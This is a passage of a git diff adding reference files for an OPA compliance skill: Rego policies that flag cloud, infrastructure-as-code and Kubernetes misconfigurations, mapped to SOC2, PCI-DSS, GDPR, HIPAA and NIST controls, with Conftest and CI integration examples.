RDP access to specific IP ranges", + } +} + +is_open_to_internet(cidr_blocks) { + cidr_blocks[_] == "0.0.0.0/0" +} + +# AWS KMS Security + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_kms_key" + not resource.change.after.enable_key_rotation + msg := { + "resource": resource.name, + "type": "aws_kms_key", + "severity": "medium", + "violation": "KMS key must have automatic rotation enabled", + "remediation": "Set enable_key_rotation = true", + } +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_kms_key" + deletion_window := resource.change.after.deletion_window_in_days + deletion_window < 30 + msg := { + "resource": resource.name, + "type": "aws_kms_key", + "severity": "medium", + "violation": "KMS key deletion window must be at least 30 days", + "remediation": "Set deletion_window_in_days >= 30", + } +} diff --git a/skills/compliance/policy-opa/references/EXAMPLE.md b/skills/compliance/policy-opa/references/EXAMPLE.md new file mode 100644 index 0000000..23d74db --- /dev/null +++ b/skills/compliance/policy-opa/references/EXAMPLE.md @@ -0,0 +1,40 @@ +# Reference Document Template + +This file contains detailed reference material that Claude should load only when needed. + +## Table of Contents + +- [Section 1](#section-1) +- [Section 2](#section-2) +- [Security Standards](#security-standards) + +## Section 1 + +Detailed information, schemas, or examples that are too large for SKILL.md. + +## Section 2 + +Additional reference material. + +## Security Standards + +### OWASP Top 10 + +Reference relevant OWASP categories: +- A01: Broken Access Control +- A02: Cryptographic Failures +- etc. + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories: +- CWE-79: Cross-site Scripting +- CWE-89: SQL Injection +- etc. + +### MITRE ATT&CK + +Reference relevant tactics and techniques if applicable: +- TA0001: Initial Access +- T1190: Exploit Public-Facing Application +- etc. diff --git a/skills/compliance/policy-opa/references/compliance-frameworks.md b/skills/compliance/policy-opa/references/compliance-frameworks.md new file mode 100644 index 0000000..1466cd3 --- /dev/null +++ b/skills/compliance/policy-opa/references/compliance-frameworks.md @@ -0,0 +1,507 @@ +# Compliance Framework Policy Templates + +Policy templates mapped to specific compliance framework controls for SOC2, PCI-DSS, GDPR, HIPAA, and NIST. + +## Table of Contents + +- [SOC2 Trust Services Criteria](#soc2-trust-services-criteria) +- [PCI-DSS Requirements](#pci-dss-requirements) +- [GDPR Data Protection](#gdpr-data-protection) +- [HIPAA Security Rules](#hipaa-security-rules) +- [NIST Cybersecurity Framework](#nist-cybersecurity-framework) + +## SOC2 Trust Services Criteria + +### CC6.1: Logical and Physical Access Controls + +**Control**: The entity implements logical access security software, infrastructure, and architectures over protected information assets to protect them from security events. + +```rego +package compliance.soc2.cc6_1 + +# Deny overly permissive RBAC +deny[msg] { + input.kind == "RoleBinding" + input.roleRef.name == "cluster-admin" + not startswith(input.subjects[_].name, "system:") + msg := { + "control": "SOC2 CC6.1", + "violation": sprintf("Overly permissive cluster-admin binding: %v", [input.metadata.name]), + "remediation": "Use least-privilege roles instead of cluster-admin" + } +} + +# Require authentication for external services +deny[msg] { + input.kind == "Service" + input.spec.type == "LoadBalancer" + not input.metadata.annotations["auth.required"] == "true" + msg := { + "control": "SOC2 CC6.1", + "violation": sprintf("External service without authentication: %v", [input.metadata.name]), + "remediation": "Add auth.required=true annotation" + } +} + +# Require MFA for admin access +deny[msg] { + input.kind == "RoleBinding" + contains(input.roleRef.name, "admin") + not input.metadata.annotations["mfa.required"] == "true" + msg := { + "control": "SOC2 CC6.1", + "violation": sprintf("Admin role without MFA requirement: %v", [input.metadata.name]), + "remediation": "Add mfa.required=true annotation" + } +} +``` + +### CC6.6: Encryption in Transit + +**Control**: The entity protects information transmitted to external parties during transmission. + +```rego +package compliance.soc2.cc6_6 + +# Require TLS for external services +deny[msg] { + input.kind == "Ingress" + not input.spec.tls + msg := { + "control": "SOC2 CC6.6", + "violation": sprintf("Ingress without TLS: %v", [input.metadata.name]), + "remediation": "Configure spec.tls with valid certificates" + } +} + +# Require TLS for LoadBalancer services +deny[msg] { + input.kind == "Service" + input.spec.type == "LoadBalancer" + not input.metadata.annotations["service.beta.kubernetes.io/aws-load-balancer-ssl-cert"] + msg := { + "control": "SOC2 CC6.6", + "violation": sprintf("LoadBalancer without SSL/TLS: %v", [input.metadata.name]), + "remediation": "Add SSL certificate annotation" + } +} +``` + +### CC6.7: Encryption at Rest + +**Control**: The entity protects information at rest. + +```rego +package compliance.soc2.cc6_7 + +# Require encrypted volumes +deny[msg] { + input.kind == "PersistentVolumeClaim" + input.metadata.labels["data-classification"] == "confidential" + not input.metadata.annotations["volume.beta.kubernetes.io/storage-encrypted"] == "true" + msg := { + "control": "SOC2 CC6.7", + "violation": sprintf("Unencrypted volume for confidential data: %v", [input.metadata.name]), + "remediation": "Enable volume encryption annotation" + } +} +``` + +### CC7.2: System Monitoring + +**Control**: The entity monitors system components and the operation of those components for anomalies. + +```rego +package compliance.soc2.cc7_2 + +# Require audit logging +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["critical-system"] == "true" + not has_audit_logging(input) + msg := { + "control": "SOC2 CC7.2", + "violation": sprintf("Critical system without audit logging: %v", [input.metadata.name]), + "remediation": "Enable audit logging via sidecar or annotations" + } +} + +has_audit_logging(resource) { + resource.spec.template.metadata.annotations["audit.enabled"] == "true" +} +``` + +## PCI-DSS Requirements + +### Requirement 1.2: Firewall Configuration + +**Control**: Build firewall and router configurations that restrict connections between untrusted networks. + +```rego +package compliance.pci.req1_2 + +# Require network policies for cardholder data +deny[msg] { + input.kind == "Namespace" + input.metadata.labels["pci.scope"] == "in-scope" + not has_network_policy(input.metadata.name) + msg := { + "control": "PCI-DSS 1.2", + "violation": sprintf("PCI in-scope namespace without network policy: %v", [input.metadata.name]), + "remediation": "Create NetworkPolicy to restrict traffic" + } +} + +has_network_policy(namespace) { + # Check if NetworkPolicy exists in data (requires external data) + data.network_policies[namespace] +} +``` + +### Requirement 2.2: System Hardening + +**Control**: Develop configuration standards for all system components. + +```rego +package compliance.pci.req2_2 + +# Container hardening requirements +deny[msg] { + input.kind == "Pod" + input.metadata.labels["pci.scope"] == "in-scope" + container := input.spec.containers[_] + + not container.securityContext.readOnlyRootFilesystem + msg := { + "control": "PCI-DSS 2.2", + "violation": sprintf("PCI container without read-only filesystem: %v", [container.name]), + "remediation": "Set securityContext.readOnlyRootFilesystem: true" + } +} + +deny[msg] { + input.kind == "Pod" + input.metadata.labels["pci.scope"] == "in-scope" + container := input.spec.containers[_] + + not container.securityContext.allowPrivilegeEscalation == false + msg := { + "control": "PCI-DSS 2.2", + "violation": sprintf("PCI container allows privilege escalation: %v", [container.name]), + "remediation": "Set securityContext.allowPrivilegeEscalation: false" + } +} +``` + +### Requirement 8.2.1: Strong Authentication + +**Control**: Render all authentication credentials unreadable during transmission and storage. + +```rego +package compliance.pci.req8_2_1 + +# Require MFA for payment endpoints +deny[msg] { + input.kind == "Ingress" + input.metadata.labels["payment.enabled"] == "true" + not input.metadata.annotations["mfa.required"] == "true" + msg := { + "control": "PCI-DSS 8.2.1", + "violation": sprintf("Payment ingress without MFA: %v", [input.metadata.name]), + "remediation": "Enable MFA via annotation: mfa.required=true" + } +} + +# Password strength requirements +deny[msg] { + input.kind == "ConfigMap" + input.metadata.name == "auth-config" + to_number(input.data["password.minLength"]) < 12 + msg := { + "control": "PCI-DSS 8.2.1", + "violation": "Password minimum length below requirement", + "remediation": "Set password.minLength to at least 12" + } +} +``` + +### Requirement 10.2: Audit Logging + +**Control**: Implement automated audit trails for all system components. + +```rego +package compliance.pci.req10_2 + +# Require audit logging for PCI components +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["pci.scope"] == "in-scope" + not has_audit_sidecar(input) + msg := { + "control": "PCI-DSS 10.2", + "violation": sprintf("PCI deployment without audit logging: %v", [input.metadata.name]), + "remediation": "Deploy audit logging sidecar" + } +} + +has_audit_sidecar(resource) { + container := resource.spec.template.spec.containers[_] + contains(container.name, "audit") +} +``` + +## GDPR Data Protection + +### Article 25: Data Protection by Design + +**Control**: The controller shall implement appropriate technical and organizational measures. + +```rego +package compliance.gdpr.art25 + +# Require data classification labels +deny[msg] { + input.kind == "Deployment" + processes_personal_data(input) + not input.metadata.labels["data-classification"] + msg := { + "control": "GDPR Article 25", + "violation": sprintf("Deployment processing personal data without classification: %v", [input.metadata.name]), + "remediation": "Add data-classification label" + } +} + +# Data minimization - limit replicas for personal data +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["data-type"] == "personal" + input.spec.replicas > 3 + not input.metadata.annotations["gdpr.justification"] + msg := { + "control": "GDPR Article 25", + "violation": sprintf("Excessive replicas for personal data: %v", [input.metadata.name]), + "remediation": "Reduce replicas or add justification annotation" + } +} + +processes_personal_data(resource) { + resource.metadata.labels["data-type"] == "personal" +} + +processes_personal_data(resource) { + contains(lower(resource.metadata.name), "user") +} +``` + +### Article 32: Security of Processing + +**Control**: Implement appropriate technical and organizational measures to ensure a level of security appropriate to the risk. + +```rego +package compliance.gdpr.art32 + +# Require encryption for personal data +deny[msg] { + input.kind == "PersistentVolumeClaim" + input.metadata.labels["data-type"] == "personal" + not input.metadata.annotations["volume.encryption.enabled"] == "true" + msg := { + "control": "GDPR Article 32", + "violation": sprintf("Personal data volume without encryption: %v", [input.metadata.name]), + "remediation": "Enable volume encryption" + } +} + +# Require TLS for personal data services +deny[msg] { + input.kind == "Service" + input.metadata.labels["data-type"] == "personal" + not input.metadata.annotations["tls.enabled"] == "true" + msg := { + "control": "GDPR Article 32", + "violation": sprintf("Personal data service without TLS: %v", [input.metadata.name]), + "remediation": "Enable TLS encryption" + } +} +``` + +## HIPAA Security Rules + +### 164.308: Administrative Safeguards + +**Control**: Implement policies and procedures to prevent, detect, contain, and correct security violations. + +```rego +package compliance.hipaa.admin + +# Require access control policies +deny[msg] { + input.kind == "Namespace" + input.metadata.labels["phi-data"] == "true" + not input.metadata.annotations["access-control.policy"] + msg := { + "control": "HIPAA 164.308", + "violation": sprintf("PHI namespace without access control policy: %v", [input.metadata.name]), + "remediation": "Document access control policy in annotation" + } +} +``` + +### 164.312: Technical Safeguards + +**Control**: Implement technical policies and procedures for electronic information systems. + +```rego +package compliance.hipaa.technical + +# Encryption in transit for PHI +deny[msg] { + input.kind == "Service" + input.metadata.labels["phi-data"] == "true" + not input.metadata.annotations["tls.enabled"] == "true" + msg := { + "control": "HIPAA 164.312", + "violation": sprintf("PHI service without TLS: %v", [input.metadata.name]), + "remediation": "Enable TLS for data in transit" + } +} + +# Audit logging for PHI access +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["phi-data"] == "true" + not has_audit_logging(input) + msg := { + "control": "HIPAA 164.312", + "violation": sprintf("PHI deployment without audit logging: %v", [input.metadata.name]), + "remediation": "Enable audit logging for all PHI access" + } +} + +has_audit_logging(resource) { + resource.spec.template.metadata.annotations["audit.enabled"] == "true" +} + +# Authentication controls +deny[msg] { + input.kind == "Ingress" + input.metadata.labels["phi-data"] == "true" + not input.metadata.annotations["auth.method"] + msg := { + "control": "HIPAA 164.312", + "violation": sprintf("PHI ingress without authentication: %v", [input.metadata.name]), + "remediation": "Configure authentication method" + } +} +``` + +## NIST Cybersecurity Framework + +### PR.AC-4: Access Control + +**Control**: Access permissions and authorizations are managed, incorporating the principles of least privilege and separation of duties. + +```rego +package compliance.nist.pr_ac_4 + +# Least privilege - no wildcard permissions +deny[msg] { + input.kind == "Role" + rule := input.rules[_] + rule.verbs[_] == "*" + msg := { + "control": "NIST PR.AC-4", + "violation": sprintf("Wildcard permissions in role: %v", [input.metadata.name]), + "remediation": "Specify explicit verb permissions" + } +} + +deny[msg] { + input.kind == "Role" + rule := input.rules[_] + rule.resources[_] == "*" + msg := { + "control": "NIST PR.AC-4", + "violation": sprintf("Wildcard resources in role: %v", [input.metadata.name]), + "remediation": "Specify explicit resource permissions" + } +} +``` + +### PR.DS-1: Data-at-Rest Protection + +**Control**: Data-at-rest is protected. + +```rego +package compliance.nist.pr_ds_1 + +# Require encryption for sensitive data +deny[msg] { + input.kind == "PersistentVolumeClaim" + input.metadata.labels["data-sensitivity"] == "high" + not input.metadata.annotations["volume.encryption"] == "enabled" + msg := { + "control": "NIST PR.DS-1", + "violation": sprintf("Sensitive data volume without encryption: %v", [input.metadata.name]), + "remediation": "Enable volume encryption for data-at-rest protection" + } +} +``` + +### PR.DS-2: Data-in-Transit Protection + +**Control**: Data-in-transit is protected. + +```rego +package compliance.nist.pr_ds_2 + +# Require TLS for external traffic +deny[msg] { + input.kind == "Ingress" + not input.spec.tls + msg := { + "control": "NIST PR.DS-2", + "violation": sprintf("Ingress without TLS: %v", [input.metadata.name]), + "remediation": "Configure TLS for data-in-transit protection" + } +} +``` + +## Multi-Framework Compliance + +Example policy that maps to multiple frameworks: + +```rego +package compliance.multi_framework + +# Encryption requirement - maps to multiple frameworks +deny[msg] { + input.kind == "Service" + input.spec.type == "LoadBalancer" + not has_tls_encryption(input) + + msg := { + "violation": sprintf("External service without TLS encryption: %v", [input.metadata.name]), + "remediation": "Enable TLS/SSL for external services", + "frameworks": { + "SOC2": "CC6.6 - Encryption in Transit", + "PCI-DSS": "4.1 - Use strong cryptography", + "GDPR": "Article 32 - Security of Processing", + "HIPAA": "164.312 - Technical Safeguards", + "NIST": "PR.DS-2 - Data-in-Transit Protection" + } + } +} + +has_tls_encryption(service) { + service.metadata.annotations["service.beta.kubernetes.io/aws-load-balancer-ssl-cert"] +} +``` + +## References + +- [SOC2 Trust Services Criteria](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html) +- [PCI-DSS Requirements](https://www.pcisecuritystandards.org/document_library) +- [GDPR Official Text](https://gdpr.eu/) +- [HIPAA Security Rule](https://www.hhs.gov/hipaa/for-professionals/security/index.html) +- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework) diff --git a/skills/compliance/policy-opa/references/iac-policies.md b/skills/compliance/policy-opa/references/iac-policies.md new file mode 100644 index 0000000..bd1866f --- /dev/null +++ b/skills/compliance/policy-opa/references/iac-policies.md @@ -0,0 +1,623 @@ +# Infrastructure-as-Code Security Policies + +OPA policies for validating infrastructure-as-code configurations in Terraform, CloudFormation, and other IaC tools. + +## Table of Contents + +- [Terraform Policies](#terraform-policies) +- [AWS CloudFormation](#aws-cloudformation) +- [Azure ARM Templates](#azure-arm-templates) +- [GCP Deployment Manager](#gcp-deployment-manager) + +## Terraform Policies + +### S3 Bucket Security + +```rego +package terraform.aws.s3 + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_s3_bucket" + not has_encryption(resource) + + msg := sprintf("S3 bucket must have encryption enabled: %v", [resource.name]) +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_s3_bucket" + not has_versioning(resource) + + msg := sprintf("S3 bucket must have versioning enabled: %v", [resource.name]) +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_s3_bucket_public_access_block" + resource.change.after.block_public_acls == false + + msg := sprintf("S3 bucket must block public ACLs: %v", [resource.name]) +} + +has_encryption(resource) { + resource.change.after.server_side_encryption_configuration +} + +has_versioning(resource) { + resource.change.after.versioning[_].enabled == true +} +``` + +### EC2 Instance Security + +```rego +package terraform.aws.ec2 + +# Deny instances without IMDSv2 +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_instance" + not resource.change.after.metadata_options.http_tokens == "required" + + msg := sprintf("EC2 instance must use IMDSv2: %v", [resource.name]) +} + +# Deny instances with public IPs in production +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_instance" + resource.change.after.associate_public_ip_address == true + is_production_environment + + msg := sprintf("Production EC2 instances cannot have public IPs: %v", [resource.name]) +} + +# Require monitoring +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_instance" + resource.change.after.monitoring != true + + msg := sprintf("EC2 instance must have detailed monitoring enabled: %v", [resource.name]) +} + +is_production_environment { + input.variables.environment == "production" +} +``` + +### RDS Database Security + +```rego +package terraform.aws.rds + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_db_instance" + not resource.change.after.storage_encrypted + + msg := sprintf("RDS instance must have encryption enabled: %v", [resource.name]) +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_db_instance" + resource.change.after.publicly_accessible == true + + msg := sprintf("RDS instance cannot be publicly accessible: %v", [resource.name]) +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_db_instance" + not resource.change.after.backup_retention_period + + msg := sprintf("RDS instance must have backup retention configured: %v", [resource.name]) +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_db_instance" + resource.change.after.backup_retention_period < 7 + + msg := sprintf("RDS instance must have at least 7 days backup retention: %v", [resource.name]) +} +``` + +### IAM Policy Security + +```rego +package terraform.aws.iam + +# Deny wildcard actions in IAM policies +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_iam_policy" + statement := resource.change.after.policy.Statement[_] + statement.Action[_] == "*" + + msg := sprintf("IAM policy cannot use wildcard actions: %v", [resource.name]) +} + +# Deny wildcard resources +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_iam_policy" + statement := resource.change.after.policy.Statement[_] + statement.Resource[_] == "*" + statement.Effect == "Allow" + + msg := sprintf("IAM policy cannot use wildcard resources with Allow: %v", [resource.name]) +} + +# Deny policies without conditions for sensitive actions +sensitive_actions := [ + "iam:CreateUser", + "iam:DeleteUser", + "iam:AttachUserPolicy", + "kms:Decrypt", +] + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_iam_policy" + statement := resource.change.after.policy.Statement[_] + action := statement.Action[_] + sensitive_actions[_] == action + not statement.Condition + + msg := sprintf("Sensitive IAM action requires conditions: %v in %v", [action, resource.name]) +} +``` + +### Security Group Rules + +```rego +package terraform.aws.security_groups + +# Deny SSH from internet +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_security_group_rule" + resource.change.after.type == "ingress" + resource.change.after.from_port == 22 + resource.change.after.to_port == 22 + is_open_to_internet(resource.change.after.cidr_blocks) + + msg := sprintf("Security group rule allows SSH from internet: %v", [resource.name]) +} + +# Deny RDP from internet +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_security_group_rule" + resource.change.after.type == "ingress" + resource.change.after.from_port == 3389 + resource.change.after.to_port == 3389 + is_open_to_internet(resource.change.after.cidr_blocks) + + msg := sprintf("Security group rule allows RDP from internet: %v", [resource.name]) +} + +# Deny unrestricted ingress +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_security_group_rule" + resource.change.after.type == "ingress" + is_open_to_internet(resource.change.after.cidr_blocks) + not is_allowed_public_port(resource.change.after.from_port) + + msg := sprintf("Security group rule allows unrestricted ingress: %v", [resource.name]) +} + +is_open_to_internet(cidr_blocks) { + cidr_blocks[_] == "0.0.0.0/0" +} + +# Allowed public ports (HTTP/HTTPS) +is_allowed_public_port(port) { + port == 80 +} + +is_allowed_public_port(port) { + port == 443 +} +``` + +### KMS Key Security + +```rego +package terraform.aws.kms + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_kms_key" + not resource.change.after.enable_key_rotation + + msg := sprintf("KMS key must have automatic rotation enabled: %v", [resource.name]) +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_kms_key" + not resource.change.after.deletion_window_in_days + + msg := sprintf("KMS key must have deletion window configured: %v", [resource.name]) +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_kms_key" + resource.change.after.deletion_window_in_days < 30 + + msg := sprintf("KMS key deletion window must be at least 30 days: %v", [resource.name]) +} +``` + +### CloudWatch Logging + +```rego +package terraform.aws.logging + +# Require CloudWatch logs for Lambda +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_lambda_function" + not has_cloudwatch_logs(resource.name) + + msg := sprintf("Lambda function must have CloudWatch logs configured: %v", [resource.name]) +} + +has_cloudwatch_logs(function_name) { + resource := input.resource_changes[_] + resource.type == "aws_cloudwatch_log_group" + contains(resource.change.after.name, function_name) +} +``` + +## AWS CloudFormation + +### S3 Bucket Security + +```rego +package cloudformation.aws.s3 + +deny[msg] { + resource := input.Resources[name] + resource.Type == "AWS::S3::Bucket" + not has_bucket_encryption(resource) + + msg := sprintf("S3 bucket must have encryption: %v", [name]) +} + +deny[msg] { + resource := input.Resources[name] + resource.Type == "AWS::S3::Bucket" + not has_versioning(resource) + + msg := sprintf("S3 bucket must have versioning enabled: %v", [name]) +} + +has_bucket_encryption(resource) { + resource.Properties.BucketEncryption +} + +has_versioning(resource) { + resource.Properties.VersioningConfiguration.Status == "Enabled" +} +``` + +### EC2 Security Groups + +```rego +package cloudformation.aws.ec2 + +deny[msg] { + resource := input.Resources[name] + resource.Type == "AWS::EC2::SecurityGroup" + rule := resource.Properties.SecurityGroupIngress[_] + rule.CidrIp == "0.0.0.0/0" + rule.FromPort == 22 + + msg := sprintf("Security group allows SSH from internet: %v", [name]) +} + +deny[msg] { + resource := input.Resources[name] + resource.Type == "AWS::EC2::SecurityGroup" + rule := resource.Properties.SecurityGroupIngress[_] + rule.CidrIp == "0.0.0.0/0" + rule.FromPort == 3389 + + msg := sprintf("Security group allows RDP from internet: %v", [name]) +} +``` + +### RDS Database + +```rego +package cloudformation.aws.rds + +deny[msg] { + resource := input.Resources[name] + resource.Type == "AWS::RDS::DBInstance" + not resource.Properties.StorageEncrypted + + msg := sprintf("RDS instance must have encryption enabled: %v", [name]) +} + +deny[msg] { + resource := input.Resources[name] + resource.Type == "AWS::RDS::DBInstance" + resource.Properties.PubliclyAccessible == true + + msg := sprintf("RDS instance cannot be publicly accessible: %v", [name]) +} +``` + +## Azure ARM Templates + +### Storage Account Security + +```rego +package azure.storage + +deny[msg] { + resource := input.resources[_] + resource.type == "Microsoft.Storage/storageAccounts" + not resource.properties.supportsHttpsTrafficOnly + + msg := sprintf("Storage account must require HTTPS: %v", [resource.name]) +} + +deny[msg] { + resource := input.resources[_] + resource.type == "Microsoft.Storage/storageAccounts" + resource.properties.allowBlobPublicAccess == true + + msg := sprintf("Storage account must disable public blob access: %v", [resource.name]) +} + +deny[msg] { + resource := input.resources[_] + resource.type == "Microsoft.Storage/storageAccounts" + not resource.properties.minimumTlsVersion == "TLS1_2" + + msg := sprintf("Storage account must use TLS 1.2 minimum: %v", [resource.name]) +} +``` + +### Virtual Machine Security + +```rego +package azure.compute + +deny[msg] { + resource := input.resources[_] + resource.type == "Microsoft.Compute/virtualMachines" + not has_managed_identity(resource) + + msg := sprintf("Virtual machine should use managed identity: %v", [resource.name]) +} + +deny[msg] { + resource := input.resources[_] + resource.type == "Microsoft.Compute/virtualMachines" + not has_disk_encryption(resource) + + msg := sprintf("Virtual machine must have disk encryption: %v", [resource.name]) +} + +has_managed_identity(vm) { + vm.identity.type +} + +has_disk_encryption(vm) { + vm.properties.storageProfile.osDisk.encryptionSettings +} +``` + +### Network Security Groups + +```rego +package azure.network + +deny[msg] { + resource := input.resources[_] + resource.type == "Microsoft.Network/networkSecurityGroups" + rule := resource.properties.securityRules[_] + rule.properties.access == "Allow" + rule.properties.sourceAddressPrefix == "*" + rule.properties.destinationPortRange == "22" + + msg := sprintf("NSG allows SSH from internet: %v", [resource.name]) +} + +deny[msg] { + resource := input.resources[_] + resource.type == "Microsoft.Network/networkSecurityGroups" + rule := resource.properties.securityRules[_] + rule.properties.access == "Allow" + rule.properties.sourceAddressPrefix == "*" + rule.properties.destinationPortRange == "3389" + + msg := sprintf("NSG allows RDP from internet: %v", [resource.name]) +} +``` + +## GCP Deployment Manager + +### GCS Bucket Security + +```rego +package gcp.storage + +deny[msg] { + resource := input.resources[_] + resource.type == "storage.v1.bucket" + not has_uniform_access(resource) + + msg := sprintf("GCS bucket must use uniform bucket-level access: %v", [resource.name]) +} + +deny[msg] { + resource := input.resources[_] + resource.type == "storage.v1.bucket" + not has_encryption(resource) + + msg := sprintf("GCS bucket must have encryption configured: %v", [resource.name]) +} + +has_uniform_access(bucket) { + bucket.properties.iamConfiguration.uniformBucketLevelAccess.enabled == true +} + +has_encryption(bucket) { + bucket.properties.encryption +} +``` + +### Compute Instance Security + +```rego +package gcp.compute + +deny[msg] { + resource := input.resources[_] + resource.type == "compute.v1.instance" + not has_service_account(resource) + + msg := sprintf("Compute instance should use service account: %v", [resource.name]) +} + +deny[msg] { + resource := input.resources[_] + resource.type == "compute.v1.instance" + not has_disk_encryption(resource) + + msg := sprintf("Compute instance must have disk encryption: %v", [resource.name]) +} + +has_service_account(instance) { + instance.properties.serviceAccounts +} + +has_disk_encryption(instance) { + instance.properties.disks[_].diskEncryptionKey +} +``` + +### Firewall Rules + +```rego +package gcp.network + +deny[msg] { + resource := input.resources[_] + resource.type == "compute.v1.firewall" + resource.properties.direction == "INGRESS" + "0.0.0.0/0" == resource.properties.sourceRanges[_] + allowed := resource.properties.allowed[_] + allowed.ports[_] == "22" + + msg := sprintf("Firewall rule allows SSH from internet: %v", [resource.name]) +} + +deny[msg] { + resource := input.resources[_] + resource.type == "compute.v1.firewall" + resource.properties.direction == "INGRESS" + "0.0.0.0/0" == resource.properties.sourceRanges[_] + allowed := resource.properties.allowed[_] + allowed.ports[_] == "3389" + + msg := sprintf("Firewall rule allows RDP from internet: %v", [resource.name]) +} +``` + +## Conftest Integration + +Example using Conftest for Terraform validation: + +```bash +# Install conftest +brew install conftest + +# Create policy directory +mkdir -p policy + +# Write policy (policy/terraform.rego) +package main + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_s3_bucket" + not resource.change.after.server_side_encryption_configuration + msg := sprintf("S3 bucket must have encryption: %v", [resource.name]) +} + +# Generate Terraform plan +terraform plan -out=tfplan.binary +terraform show -json tfplan.binary > tfplan.json + +# Run conftest +conftest test tfplan.json +``` + +## CI/CD Integration + +### GitHub Actions + +```yaml +name: IaC Policy Validation + +on: [push, pull_request] + +jobs: + validate: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + + - name: Setup OPA + uses: open-policy-agent/setup-opa@v2 + + - name: Generate Terraform Plan + run: | + terraform init + terraform plan -out=tfplan.binary + terraform show -json tfplan.binary > tfplan.json + + - name: Validate with OPA + run: | + opa eval --data policies/ --input tfplan.json \ + --format pretty 'data.terraform.deny' > violations.txt + + if [ -s violations.txt ]; then + cat violations.txt + exit 1 + fi +``` + +### GitLab CI + +```yaml +iac-validation: + image: openpolicyagent/opa:latest + script: + - terraform init + - terraform plan -out=tfplan.binary + - terraform show -json tfplan.binary > tfplan.json + - opa eval --data policies/ --input tfplan.json 'data.terraform.deny' + only: + - merge_requests +``` + +## References + +- [Conftest](https://www.conftest.dev/) +- [Terraform Sentinel](https://www.terraform.io/docs/cloud/sentinel/index.html) +- [AWS CloudFormation Guard](https://github.com/aws-cloudformation/cloudformation-guard) +- [Azure Policy](https://docs.microsoft.com/en-us/azure/governance/policy/) +- [Checkov](https://www.checkov.io/) diff --git a/skills/compliance/policy-opa/references/kubernetes-security.md b/skills/compliance/policy-opa/references/kubernetes-security.md new file mode 100644 index 0000000..ffe73c7 --- /dev/null +++ b/skills/compliance/policy-opa/references/kubernetes-security.md @@ -0,0 +1,550 @@ +# Kubernetes Security Policies + +Comprehensive OPA policies for Kubernetes security best practices and admission control. + +## Table of Contents + +- [Pod Security](#pod-security) +- [RBAC Security](#rbac-security) +- [Network Security](#network-security) +- [Image Security](#image-security) +- [Secret Management](#secret-management) + +## Pod Security + +### Privileged Containers + +Deny privileged containers: + +```rego +package kubernetes.admission.privileged_containers + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + container.securityContext.privileged == true + + msg := sprintf("Privileged container is not allowed: %v", [container.name]) +} + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.initContainers[_] + container.securityContext.privileged == true + + msg := sprintf("Privileged init container is not allowed: %v", [container.name]) +} +``` + +### Run as Non-Root + +Enforce containers run as non-root: + +```rego +package kubernetes.admission.non_root + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + not container.securityContext.runAsNonRoot + + msg := sprintf("Container must run as non-root user: %v", [container.name]) +} + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + container.securityContext.runAsUser == 0 + + msg := sprintf("Container cannot run as UID 0 (root): %v", [container.name]) +} +``` + +### Read-Only Root Filesystem + +Require read-only root filesystem: + +```rego +package kubernetes.admission.readonly_root + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + not container.securityContext.readOnlyRootFilesystem + + msg := sprintf("Container must use read-only root filesystem: %v", [container.name]) +} +``` + +### Capabilities + +Restrict Linux capabilities: + +```rego +package kubernetes.admission.capabilities + +# Denied capabilities +denied_capabilities := [ + "CAP_SYS_ADMIN", + "CAP_NET_ADMIN", + "CAP_SYS_PTRACE", + "CAP_SYS_MODULE", +] + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + capability := container.securityContext.capabilities.add[_] + denied_capabilities[_] == capability + + msg := sprintf("Capability %v is not allowed for container: %v", [capability, container.name]) +} + +# Require dropping ALL capabilities by default +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + not drops_all_capabilities(container) + + msg := sprintf("Container must drop ALL capabilities: %v", [container.name]) +} + +drops_all_capabilities(container) { + container.securityContext.capabilities.drop[_] == "ALL" +} +``` + +### Host Namespaces + +Prevent use of host namespaces: + +```rego +package kubernetes.admission.host_namespaces + +deny[msg] { + input.request.kind.kind == "Pod" + input.request.object.spec.hostPID == true + + msg := "Sharing the host PID namespace is not allowed" +} + +deny[msg] { + input.request.kind.kind == "Pod" + input.request.object.spec.hostIPC == true + + msg := "Sharing the host IPC namespace is not allowed" +} + +deny[msg] { + input.request.kind.kind == "Pod" + input.request.object.spec.hostNetwork == true + + msg := "Sharing the host network namespace is not allowed" +} +``` + +### Host Paths + +Restrict hostPath volumes: + +```rego +package 